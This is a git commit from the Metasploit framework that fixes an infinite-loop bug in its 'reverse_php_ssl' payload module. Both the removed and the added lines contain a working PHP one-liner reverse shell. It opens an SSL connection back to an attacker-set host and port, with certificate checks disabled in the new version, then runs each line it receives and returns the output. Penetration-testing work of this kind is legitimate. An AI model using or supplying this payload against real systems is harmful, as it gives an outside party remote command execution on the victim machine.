Land #9584, Fix reverse_php_ssl infinite loop

4.x
Brent Cook 2018-02-22 07:03:52 -06:00 committed by Metasploit
parent 826b986018
commit a189673782
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 2 additions and 2 deletions

View File

@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 132
CachedSize = 253
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
@ -49,6 +49,6 @@ module MetasploitModule
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
cmd = "php -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
end
end